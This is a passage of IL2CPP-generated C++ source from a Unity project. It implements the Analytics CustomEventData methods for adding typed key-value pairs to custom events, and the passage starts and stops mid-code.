String_t* L_0 = ___key0; int8_t L_1 = ___value1; bool L_2 = CustomEventData_AddSByte_m3798689096(__this, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000f; } IL_000f: { bool L_3 = V_0; return L_3; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Int16) extern "C" bool CustomEventData_Add_m2190835956 (CustomEventData_t1269126727 * __this, String_t* ___key0, int16_t ___value1, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___key0; int16_t L_1 = ___value1; bool L_2 = CustomEventData_AddInt16_m2081638138(__this, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000f; } IL_000f: { bool L_3 = V_0; return L_3; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.UInt16) extern "C" bool CustomEventData_Add_m550009887 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint16_t ___value1, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___key0; uint16_t L_1 = ___value1; bool L_2 = CustomEventData_AddUInt16_m3349298376(__this, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000f; } IL_000f: { bool L_3 = V_0; return L_3; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Int32) extern "C" bool CustomEventData_Add_m4160204358 (CustomEventData_t1269126727 * __this, String_t* ___key0, int32_t ___value1, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___key0; int32_t L_1 = ___value1; bool L_2 = CustomEventData_AddInt32_m103138778(__this, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000f; } IL_000f: { bool L_3 = V_0; return L_3; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.UInt32) extern "C" bool CustomEventData_Add_m832334893 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint32_t ___value1, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___key0; uint32_t L_1 = ___value1; bool L_2 = CustomEventData_AddUInt32_m157912008(__this, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000f; } IL_000f: { bool L_3 = V_0; return L_3; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Int64) extern "C" bool CustomEventData_Add_m1028036439 (CustomEventData_t1269126727 * __this, String_t* ___key0, int64_t ___value1, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___key0; int64_t L_1 = ___value1; bool L_2 = CustomEventData_AddInt64_m1803231272(__this, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000f; } IL_000f: { bool L_3 = V_0; return L_3; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.UInt64) extern "C" bool CustomEventData_Add_m1255822390 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint64_t ___value1, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___key0; uint64_t L_1 = ___value1; bool L_2 = CustomEventData_AddUInt64_m1437973832(__this, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000f; } IL_000f: { bool L_3 = V_0; return L_3; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Single) extern "C" bool CustomEventData_Add_m881214524 (CustomEventData_t1269126727 * __this, String_t* ___key0, float ___value1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (CustomEventData_Add_m881214524_MetadataUsageId); s_Il2CppMethodInitialized = true; } bool V_0 = false; { String_t* L_0 = ___key0; float L_1 = ___value1; IL2CPP_RUNTIME_CLASS_INIT(Convert_t2607082565_il2cpp_TypeInfo_var); Decimal_t724701077 L_2 = Convert_ToDecimal_m2007036836(NULL /*static, unused*/, L_1, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(Decimal_t724701077_il2cpp_TypeInfo_var); double L_3 = Decimal_op_Explicit_m16014099(NULL /*static, unused*/, L_2, /*hidden argument*/NULL); bool L_4 = CustomEventData_AddDouble_m3184570568(__this, L_0, L_3, /*hidden argument*/NULL); V_0 = L_4; goto IL_0019; } IL_0019: { bool L_5 = V_0; return L_5; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Double) extern "C" bool CustomEventData_Add_m116429095 (CustomEventData_t1269126727 * __this, String_t* ___key0, double ___value1, const MethodInfo* method) { bool V_0 = false; { String_t* L_0 = ___key0; double L_1 = ___value1; bool L_2 = CustomEventData_AddDouble_m3184570568(__this, L_0, L_1, /*hidden argument*/NULL); V_0 = L_2; goto IL_000f; } IL_000f: { bool L_3 = V_0; return L_3; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.String,System.Decimal) extern "C" bool CustomEventData_Add_m849445705 (CustomEventData_t1269126727 * __this, String_t* ___key0, Decimal_t724701077 ___value1, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (CustomEventData_Add_m849445705_MetadataUsageId); s_Il2CppMethodInitialized = true; } bool V_0 = false; { String_t* L_0 = ___key0; Decimal_t724701077 L_1 = ___value1; IL2CPP_RUNTIME_CLASS_INIT(Convert_t2607082565_il2cpp_TypeInfo_var); Decimal_t724701077 L_2 = Convert_ToDecimal_m2889188811(NULL /*static, unused*/, L_1, /*hidden argument*/NULL); IL2CPP_RUNTIME_CLASS_INIT(Decimal_t724701077_il2cpp_TypeInfo_var); double L_3 = Decimal_op_Explicit_m16014099(NULL /*static, unused*/, L_2, /*hidden argument*/NULL); bool L_4 = CustomEventData_AddDouble_m3184570568(__this, L_0, L_3, /*hidden argument*/NULL); V_0 = L_4; goto IL_0019; } IL_0019: { bool L_5 = V_0; return L_5; } } // System.Boolean UnityEngine.Analytics.CustomEventData::Add(System.Collections.Generic.IDictionary`2) extern "C" bool CustomEventData_Add_m952171437 (CustomEventData_t1269126727 * __this, Il2CppObject* ___eventData0, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (CustomEventData_Add_m952171437_MetadataUsageId); s_Il2CppMethodInitialized = true; } KeyValuePair_2_t2361573779 V_0; memset(&V_0, 0, sizeof(V_0)); Il2CppObject* V_1 = NULL; String_t* V_2 = NULL; Il2CppObject * V_3 = NULL; Type_t * V_4 = NULL; bool V_5 = false; Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { Il2CppObject* L_0 = ___eventData0; NullCheck(L_0); Il2CppObject* L_1 = InterfaceFuncInvoker0< Il2CppObject* >::Invoke(0 /* System.Collections.Generic.IEnumerator`1 System.Collections.Generic.IEnumerable`1>::GetEnumerator() */, IEnumerable_1_t2653700824_il2cpp_TypeInfo_var, L_0); V_1 = L_1; } IL_0009: try { // begin try (depth: 1) { goto IL_0277; } IL_000e: { Il2CppObject* L_2 = V_1; NullCheck(L_2); KeyValuePair_2_t2361573779 L_3 = InterfaceFuncInvoker0< KeyValuePair_2_t2361573779 >::Invoke(0 /* !0 System.Collections.Generic.IEnumerator`1>::get_Current() */, IEnumerator_1_t4132064902_il2cpp_TypeInfo_var, L_2); V_0 = L_3; String_t* L_4 = KeyValuePair_2_get_Key_m1313755691((&V_0), /*hidden argument*/KeyValuePair_2_get_Key_m1313755691_MethodInfo_var); V_2 = L_4; Il2CppObject * L_5 = KeyValuePair_2_get_Value_m3217213384((&V_0), /*hidden argument*/KeyValuePair_2_get_Value_m3217213384_MethodInfo_var); V_3 = L_5; Il2CppObject * L_6 = V_3; if (L_6) { goto IL_003f; } } IL_002c: { String_t* L_7 = V_2; CustomEventData_Add_m1857875967(__this, L_7, _stringLiteral1743624307, /*hidden argument*/NULL); goto IL_0277; } IL_003f: { Il2CppObject * L_8 = V_3; NullCheck(L_8); Type_t * L_9 = Object_GetType_m191970594(L_8, /*hidden argument*/NULL); V_4 = L_9; Type_t * L_10 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_11 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(String_t_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_10) == ((Il2CppObject*)(Type_t *)L_11)))) { goto IL_006b; } } IL_0058: { String_t* L_12 = V_2; Il2CppObject * L_13 = V_3; CustomEventData_Add_m1857875967(__this, L_12, ((String_t*)CastclassSealed(L_13, String_t_il2cpp_TypeInfo_var)), /*hidden argument*/NULL); goto IL_0276; } IL_006b: { Type_t * L_14 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_15 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(Char_t3454481338_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_14) == ((Il2CppObject*)(Type_t *)L_15)))) { goto IL_008f; } } IL_007c: { String_t* L_16 = V_2; Il2CppObject * L_17 = V_3; CustomEventData_Add_m3828492920(__this, L_16, ((*(Il2CppChar*)((Il2CppChar*)UnBox(L_17, Char_t3454481338_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_008f: { Type_t * L_18 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_19 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(SByte_t454417549_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_18) == ((Il2CppObject*)(Type_t *)L_19)))) { goto IL_00b3; } } IL_00a0: { String_t* L_20 = V_2; Il2CppObject * L_21 = V_3; CustomEventData_Add_m3626608495(__this, L_20, ((*(int8_t*)((int8_t*)UnBox(L_21, SByte_t454417549_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_00b3: { Type_t * L_22 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_23 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(Byte_t3683104436_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_22) == ((Il2CppObject*)(Type_t *)L_23)))) { goto IL_00d7; } } IL_00c4: { String_t* L_24 = V_2; Il2CppObject * L_25 = V_3; CustomEventData_Add_m911651774(__this, L_24, ((*(uint8_t*)((uint8_t*)UnBox(L_25, Byte_t3683104436_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_00d7: { Type_t * L_26 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_27 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(Int16_t4041245914_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_26) == ((Il2CppObject*)(Type_t *)L_27)))) { goto IL_00fb; } } IL_00e8: { String_t* L_28 = V_2; Il2CppObject * L_29 = V_3; CustomEventData_Add_m2190835956(__this, L_28, ((*(int16_t*)((int16_t*)UnBox(L_29, Int16_t4041245914_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_00fb: { Type_t * L_30 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_31 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(UInt16_t986882611_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_30) == ((Il2CppObject*)(Type_t *)L_31)))) { goto IL_011f; } } IL_010c: { String_t* L_32 = V_2; Il2CppObject * L_33 = V_3; CustomEventData_Add_m550009887(__this, L_32, ((*(uint16_t*)((uint16_t*)UnBox(L_33, UInt16_t986882611_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_011f: { Type_t * L_34 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_35 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(Int32_t2071877448_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_34) == ((Il2CppObject*)(Type_t *)L_35)))) { goto IL_0143; } } IL_0130: { String_t* L_36 = V_2; Il2CppObject * L_37 = V_3; CustomEventData_Add_m4160204358(__this, L_36, ((*(int32_t*)((int32_t*)UnBox(L_37, Int32_t2071877448_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_0143: { Type_t * L_38 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_39 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(UInt32_t2149682021_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_38) == ((Il2CppObject*)(Type_t *)L_39)))) { goto IL_016d; } } IL_0154: { String_t* L_40 = KeyValuePair_2_get_Key_m1313755691((&V_0), /*hidden argument*/KeyValuePair_2_get_Key_m1313755691_MethodInfo_var); Il2CppObject * L_41 = V_3; CustomEventData_Add_m832334893(__this, L_40, ((*(uint32_t*)((uint32_t*)UnBox(L_41, UInt32_t2149682021_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_016d: { Type_t * L_42 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_43 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(Int64_t909078037_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_42) == ((Il2CppObject*)(Type_t *)L_43)))) { goto IL_0191; } } IL_017e: { String_t* L_44 = V_2; Il2CppObject * L_45 = V_3; CustomEventData_Add_m1028036439(__this, L_44, ((*(int64_t*)((int64_t*)UnBox(L_45, Int64_t909078037_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_0191: { Type_t * L_46 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_47 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(UInt64_t2909196914_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_46) == ((Il2CppObject*)(Type_t *)L_47)))) { goto IL_01b5; } } IL_01a2: { String_t* L_48 = V_2; Il2CppObject * L_49 = V_3; CustomEventData_Add_m1255822390(__this, L_48, ((*(uint64_t*)((uint64_t*)UnBox(L_49, UInt64_t2909196914_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_01b5: { Type_t * L_50 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_51 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(Boolean_t3825574718_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_50) == ((Il2CppObject*)(Type_t *)L_51)))) { goto IL_01d9; } } IL_01c6: { String_t* L_52 = V_2; Il2CppObject * L_53 = V_3; CustomEventData_Add_m4139356558(__this, L_52, ((*(bool*)((bool*)UnBox(L_53, Boolean_t3825574718_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_01d9: { Type_t * L_54 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_55 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(Single_t2076509932_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_54) == ((Il2CppObject*)(Type_t *)L_55)))) { goto IL_01fd; } } IL_01ea: { String_t* L_56 = V_2; Il2CppObject * L_57 = V_3; CustomEventData_Add_m881214524(__this, L_56, ((*(float*)((float*)UnBox(L_57, Single_t2076509932_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_01fd: { Type_t * L_58 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_59 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(Double_t4078015681_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_58) == ((Il2CppObject*)(Type_t *)L_59)))) { goto IL_0221; } } IL_020e: { String_t* L_60 = V_2; Il2CppObject * L_61 = V_3; CustomEventData_Add_m116429095(__this, L_60, ((*(double*)((double*)UnBox(L_61, Double_t4078015681_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_0221: { Type_t * L_62 = V_4; IL2CPP_RUNTIME_CLASS_INIT(Type_t_il2cpp_TypeInfo_var); Type_t * L_63 = Type_GetTypeFromHandle_m432505302(NULL /*static, unused*/, LoadTypeToken(Decimal_t724701077_0_0_0_var), /*hidden argument*/NULL); if ((!(((Il2CppObject*)(Type_t *)L_62) == ((Il2CppObject*)(Type_t *)L_63)))) { goto IL_0245; } } IL_0232: { String_t* L_64 = V_2; Il2CppObject * L_65 = V_3; CustomEventData_Add_m849445705(__this, L_64, ((*(Decimal_t724701077 *)((Decimal_t724701077 *)UnBox(L_65, Decimal_t724701077_il2cpp_TypeInfo_var)))), /*hidden argument*/NULL); goto IL_0276; } IL_0245: { Type_t * L_66 = V_4; NullCheck(L_66); bool L_67 = Type_get_IsValueType_m1733572463(L_66, /*hidden argument*/NULL); if (!L_67) { goto IL_0264; } } IL_0251: { String_t* L_68 = V_2; Il2CppObject * L_69 = V_3; NullCheck(L_69); String_t* L_70 = VirtFuncInvoker0< String_t* >::Invoke(3 /* System.String System.Object::ToString() */, L_69); CustomEventData_Add_m1857875967(__this, L_68, L_70, /*hidden argument*/NULL); goto IL_0276; } IL_0264: { Type_t * L_71 = V_4; IL2CPP_RUNTIME_CLASS_INIT(String_t_il2cpp_TypeInfo_var); String_t* L_72 = String_Format_m2024975688(NULL /*static, unused*/, _stringLiteral2174244105, L_71, /*hidden argument*/NULL); ArgumentException_t3259014390 * L_73 = (ArgumentException_t3259014390 *)il2cpp_codegen_object_new(ArgumentException_t3259014390_il2cpp_TypeInfo_var); ArgumentException__ctor_m3739475201(L_73, L_72, /*hidden argument*/NULL); IL2CPP_RAISE_MANAGED_EXCEPTION(L_73); } IL_0276: { } IL_0277: { Il2CppObject* L_74 = V_1; NullCheck(L_74); bool L_75 = InterfaceFuncInvoker0< bool >::Invoke(1 /* System.Boolean System.Collections.IEnumerator::MoveNext() */, IEnumerator_t1466026749_il2cpp_TypeInfo_var, L_74); if (L_75) { goto IL_000e; } } IL_0282: { IL2CPP_LEAVE(0x294, FINALLY_0287); } } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_0287; } FINALLY_0287: { // begin finally (depth: 1) { Il2CppObject* L_76 = V_1; if (!L_76) { goto IL_0293; } } IL_028d: { Il2CppObject* L_77 = V_1; NullCheck(L_77); InterfaceActionInvoker0::Invoke(0 /* System.Void System.IDisposable::Dispose() */, IDisposable_t2427283555_il2cpp_TypeInfo_var, L_77); } IL_0293: { IL2CPP_END_FINALLY(647) } } // end finally (depth: 1) IL2CPP_CLEANUP(647) { IL2CPP_JUMP_TBL(0x294, IL_0294) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_0294: { V_5 = (bool)1; goto IL_029c; } IL_029c: { bool L_78 = V_5; return L_78; } } // System.Void UnityEngine.Analytics.CustomEventData::InternalCreate(System.String) extern "C" void CustomEventData_InternalCreate_m4162294919 (CustomEventData_t1269126727 * __this, String_t* ___name0, const MethodInfo* method) { typedef void (*CustomEventData_InternalCreate_m4162294919_ftn) (CustomEventData_t1269126727 *, String_t*); static CustomEventData_InternalCreate_m4162294919_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_InternalCreate_m4162294919_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::InternalCreate(System.String)"); _il2cpp_icall_func(__this, ___name0); } // System.Void UnityEngine.Analytics.CustomEventData::InternalDestroy() extern "C" void CustomEventData_InternalDestroy_m3801708051 (CustomEventData_t1269126727 * __this, const MethodInfo* method) { typedef void (*CustomEventData_InternalDestroy_m3801708051_ftn) (CustomEventData_t1269126727 *); static CustomEventData_InternalDestroy_m3801708051_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_InternalDestroy_m3801708051_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::InternalDestroy()"); _il2cpp_icall_func(__this); } // System.Boolean UnityEngine.Analytics.CustomEventData::AddString(System.String,System.String) extern "C" bool CustomEventData_AddString_m2914790600 (CustomEventData_t1269126727 * __this, String_t* ___key0, String_t* ___value1, const MethodInfo* method) { typedef bool (*CustomEventData_AddString_m2914790600_ftn) (CustomEventData_t1269126727 *, String_t*, String_t*); static CustomEventData_AddString_m2914790600_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_AddString_m2914790600_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::AddString(System.String,System.String)"); return _il2cpp_icall_func(__this, ___key0, ___value1); } // System.Boolean UnityEngine.Analytics.CustomEventData::AddBool(System.String,System.Boolean) extern "C" bool CustomEventData_AddBool_m3257352582 (CustomEventData_t1269126727 * __this, String_t* ___key0, bool ___value1, const MethodInfo* method) { typedef bool (*CustomEventData_AddBool_m3257352582_ftn) (CustomEventData_t1269126727 *, String_t*, bool); static CustomEventData_AddBool_m3257352582_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_AddBool_m3257352582_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::AddBool(System.String,System.Boolean)"); return _il2cpp_icall_func(__this, ___key0, ___value1); } // System.Boolean UnityEngine.Analytics.CustomEventData::AddChar(System.String,System.Char) extern "C" bool CustomEventData_AddChar_m1103619816 (CustomEventData_t1269126727 * __this, String_t* ___key0, Il2CppChar ___value1, const MethodInfo* method) { typedef bool (*CustomEventData_AddChar_m1103619816_ftn) (CustomEventData_t1269126727 *, String_t*, Il2CppChar); static CustomEventData_AddChar_m1103619816_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_AddChar_m1103619816_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::AddChar(System.String,System.Char)"); return _il2cpp_icall_func(__this, ___key0, ___value1); } // System.Boolean UnityEngine.Analytics.CustomEventData::AddByte(System.String,System.Byte) extern "C" bool CustomEventData_AddByte_m2648511336 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint8_t ___value1, const MethodInfo* method) { typedef bool (*CustomEventData_AddByte_m2648511336_ftn) (CustomEventData_t1269126727 *, String_t*, uint8_t); static CustomEventData_AddByte_m2648511336_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_AddByte_m2648511336_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::AddByte(System.String,System.Byte)"); return _il2cpp_icall_func(__this, ___key0, ___value1); } // System.Boolean UnityEngine.Analytics.CustomEventData::AddSByte(System.String,System.SByte) extern "C" bool CustomEventData_AddSByte_m3798689096 (CustomEventData_t1269126727 * __this, String_t* ___key0, int8_t ___value1, const MethodInfo* method) { typedef bool (*CustomEventData_AddSByte_m3798689096_ftn) (CustomEventData_t1269126727 *, String_t*, int8_t); static CustomEventData_AddSByte_m3798689096_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_AddSByte_m3798689096_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::AddSByte(System.String,System.SByte)"); return _il2cpp_icall_func(__this, ___key0, ___value1); } // System.Boolean UnityEngine.Analytics.CustomEventData::AddInt16(System.String,System.Int16) extern "C" bool CustomEventData_AddInt16_m2081638138 (CustomEventData_t1269126727 * __this, String_t* ___key0, int16_t ___value1, const MethodInfo* method) { typedef bool (*CustomEventData_AddInt16_m2081638138_ftn) (CustomEventData_t1269126727 *, String_t*, int16_t); static CustomEventData_AddInt16_m2081638138_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_AddInt16_m2081638138_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::AddInt16(System.String,System.Int16)"); return _il2cpp_icall_func(__this, ___key0, ___value1); } // System.Boolean UnityEngine.Analytics.CustomEventData::AddUInt16(System.String,System.UInt16) extern "C" bool CustomEventData_AddUInt16_m3349298376 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint16_t ___value1, const MethodInfo* method) { typedef bool (*CustomEventData_AddUInt16_m3349298376_ftn) (CustomEventData_t1269126727 *, String_t*, uint16_t); static CustomEventData_AddUInt16_m3349298376_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_AddUInt16_m3349298376_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::AddUInt16(System.String,System.UInt16)"); return _il2cpp_icall_func(__this, ___key0, ___value1); } // System.Boolean UnityEngine.Analytics.CustomEventData::AddInt32(System.String,System.Int32) extern "C" bool CustomEventData_AddInt32_m103138778 (CustomEventData_t1269126727 * __this, String_t* ___key0, int32_t ___value1, const MethodInfo* method) { typedef bool (*CustomEventData_AddInt32_m103138778_ftn) (CustomEventData_t1269126727 *, String_t*, int32_t); static CustomEventData_AddInt32_m103138778_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_AddInt32_m103138778_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::AddInt32(System.String,System.Int32)"); return _il2cpp_icall_func(__this, ___key0, ___value1); } // System.Boolean UnityEngine.Analytics.CustomEventData::AddUInt32(System.String,System.UInt32) extern "C" bool CustomEventData_AddUInt32_m157912008 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint32_t ___value1, const MethodInfo* method) { typedef bool (*CustomEventData_AddUInt32_m157912008_ftn) (CustomEventData_t1269126727 *, String_t*, uint32_t); static CustomEventData_AddUInt32_m157912008_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_AddUInt32_m157912008_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::AddUInt32(System.String,System.UInt32)"); return _il2cpp_icall_func(__this, ___key0, ___value1); } // System.Boolean UnityEngine.Analytics.CustomEventData::AddInt64(System.String,System.Int64) extern "C" bool CustomEventData_AddInt64_m1803231272 (CustomEventData_t1269126727 * __this, String_t* ___key0, int64_t ___value1, const MethodInfo* method) { typedef bool (*CustomEventData_AddInt64_m1803231272_ftn) (CustomEventData_t1269126727 *, String_t*, int64_t); static CustomEventData_AddInt64_m1803231272_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_AddInt64_m1803231272_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::AddInt64(System.String,System.Int64)"); return _il2cpp_icall_func(__this, ___key0, ___value1); } // System.Boolean UnityEngine.Analytics.CustomEventData::AddUInt64(System.String,System.UInt64) extern "C" bool CustomEventData_AddUInt64_m1437973832 (CustomEventData_t1269126727 * __this, String_t* ___key0, uint64_t ___value1, const MethodInfo* method) { typedef bool (*CustomEventData_AddUInt64_m1437973832_ftn) (CustomEventData_t1269126727 *, String_t*, uint64_t); static CustomEventData_AddUInt64_m1437973832_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_AddUInt64_m1437973832_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::AddUInt64(System.String,System.UInt64)"); return _il2cpp_icall_func(__this, ___key0, ___value1); } // System.Boolean UnityEngine.Analytics.CustomEventData::AddDouble(System.String,System.Double) extern "C" bool CustomEventData_AddDouble_m3184570568 (CustomEventData_t1269126727 * __this, String_t* ___key0, double ___value1, const MethodInfo* method) { typedef bool (*CustomEventData_AddDouble_m3184570568_ftn) (CustomEventData_t1269126727 *, String_t*, double); static CustomEventData_AddDouble_m3184570568_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (CustomEventData_AddDouble_m3184570568_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.CustomEventData::AddDouble(System.String,System.Double)"); return _il2cpp_icall_func(__this, ___key0, ___value1); } // Conversion methods for marshalling of: UnityEngine.Analytics.UnityAnalyticsHandler extern "C" void UnityAnalyticsHandler_t3238795095_marshal_pinvoke(const UnityAnalyticsHandler_t3238795095& unmarshaled, UnityAnalyticsHandler_t3238795095_marshaled_pinvoke& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void UnityAnalyticsHandler_t3238795095_marshal_pinvoke_back(const UnityAnalyticsHandler_t3238795095_marshaled_pinvoke& marshaled, UnityAnalyticsHandler_t3238795095& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, 